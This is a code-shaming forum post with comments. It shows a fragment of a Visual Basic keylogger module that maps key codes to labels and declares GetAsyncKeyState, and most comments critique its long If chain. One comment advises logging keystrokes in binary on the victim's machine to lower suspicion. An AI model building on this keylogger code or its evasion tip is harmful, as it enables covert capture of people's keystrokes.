1. VisualBasic / Говнокод #1575

    −114

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    Module MyChrModule
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
        '49 to 57 Chr , 32 space
        Public Function Mychr(ByVal ChrNumber As Long) As String
            If ChrNumber = 1 Then Mychr = "[LMB]"
            If ChrNumber = 2 Then Mychr = "[RMB]"
            If ChrNumber = 4 Then Mychr = "[MMB]" ' MouseMiddleButton ( Scroll button )
            If ChrNumber = 9 Then Mychr = "[Tab]"
            If ChrNumber = 20 Then Mychr = "[CapsLock]"
            If ChrNumber = 160 Then Mychr = "[LeftShift]"
            If ChrNumber = 162 Then Mychr = "[LeftCtrl]"
            If ChrNumber = 192 Then Mychr = "`"
            If ChrNumber = 112 Then Mychr = "[F1]" '112 to 123
            If ChrNumber = 113 Then Mychr = "[F2]"
            If ChrNumber = 114 Then Mychr = "[F3]"
            If ChrNumber = 115 Then Mychr = "[F4]"
            If ChrNumber = 116 Then Mychr = "[F5]"
            If ChrNumber = 117 Then Mychr = "[F6]"
            If ChrNumber = 118 Then Mychr = "[F7]"
            If ChrNumber = 119 Then Mychr = "[F8]"
            If ChrNumber = 120 Then Mychr = "[F9]"
            If ChrNumber = 121 Then Mychr = "[F10]"
            If ChrNumber = 122 Then Mychr = "[F11]"
            If ChrNumber = 123 Then Mychr = "[F12]"
            If ChrNumber = 189 Then Mychr = "-"
            If ChrNumber = 187 Then Mychr = "="
            If ChrNumber = 220 Then Mychr = "\"
            If ChrNumber = 219 Then Mychr = "["
            If ChrNumber = 221 Then Mychr = "]"
            If ChrNumber = 186 Then Mychr = ";"
            If ChrNumber = 220 Then Mychr = "\"
            If ChrNumber = 222 Then Mychr = "'"
            If ChrNumber = 188 Then Mychr = ","
            If ChrNumber = 190 Then Mychr = "."
            If ChrNumber = 191 Then Mychr = "/"
            If ChrNumber = 8 Then Mychr = "[BckSpc]"
            If ChrNumber = 123 Then Mychr = "[F12]"
            If ChrNumber = 13 Then Mychr = "[Enter]"
            If ChrNumber = 161 Then Mychr = "[RightShift]"
            If ChrNumber = 91 Then Mychr = "[LeftLogo]"
            If ChrNumber = 92 Then Mychr = "[RightLogo]"
            If ChrNumber = 93 Then Mychr = "[RMB Key]"
            If ChrNumber = 163 Then Mychr = "[RightCtrl]"
            If ChrNumber = 164 Then Mychr = "[LeftAlt]"
            If ChrNumber = 165 Then Mychr = "[RightAlt]"
            If ChrNumber = 44 Then Mychr = "[Print]"
            If ChrNumber = 19 Then Mychr = "[Pause]"
            If ChrNumber = 45 Then Mychr = "[Insert]"
            If ChrNumber = 36 Then Mychr = "[Home]"
            If ChrNumber = 33 Then Mychr = "[PageUp]"
            If ChrNumber = 46 Then Mychr = "[Delete]"
            If ChrNumber = 35 Then Mychr = "[End]"
            If ChrNumber = 34 Then Mychr = "[PageDown]"
            If ChrNumber = 37 Then Mychr = "[Left]"
            If ChrNumber = 38 Then Mychr = "[Up]"
            If ChrNumber = 39 Then Mychr = "[Right]"
            If ChrNumber = 40 Then Mychr = "[Down]"
            If ChrNumber = 144 Then Mychr = "[NumLock]"
    '...

    Один из модулей кейлогера...

    Запостил: psina-from-ua, 13 Августа 2009

    Комментарии (13) RSS

    • на vb уже и кейлоггеры пишут О_о
      Ответить
    • Смелый чел, надо же на бейсике и не боится GetAsyncKeyState и user32 lib. А че если бы таблицей (массивом) закодировать описания клавиш то это бы сильно помогло?
      Ответить
      • Да, разве что код меньше занимал бы, наверно (я на vb не программирую).
        Ответить
      • Щас подумал, наверно помогло. В этом коде идёт много if, то есть если нашли букву, всё равно дальше проверяем.
        Ответить
      • Без winapi на VB6 почти нефиг делать.
        Ответить
    • Проход по if-ам конечно медленный. Надо использовать Dictionary
      Dictionary chKeys = new Dictionary<long, string>();
      private void InitKeys() {
      chKeys[1] = "[LMB]";
      chKeys[2] = "[RMB]";
      //...
      }
      public GetMyChr(long chrNumber) As String{
      if (chKeys.ContainsKey(chrNumber))
      return chKeys[chrNumber];
      return "Fuck You!";
      }
      Ответить
      • да он хотябы else if сделал. а то ведь постоянные проверки до самого конца будут даже если одна из проверок УЖЕ дала ответ "TRUE"
        Ответить
      • Codemaster
        Не надо только C/C++ а том меня стошнит!
        Ответить
    • Есть же Select Case блиин
      Ответить
    • кейлогер умнее в бинарном виде на "сервере" (т.е. на машине жертвы) записывать, а вот полученный файл читать, уже раскодируя клиентной программой-просмотрщиком. И трафа меньше, и подозрений меньше (на случай, если жертва найдёт файл).
      Ответить

    Добавить комментарий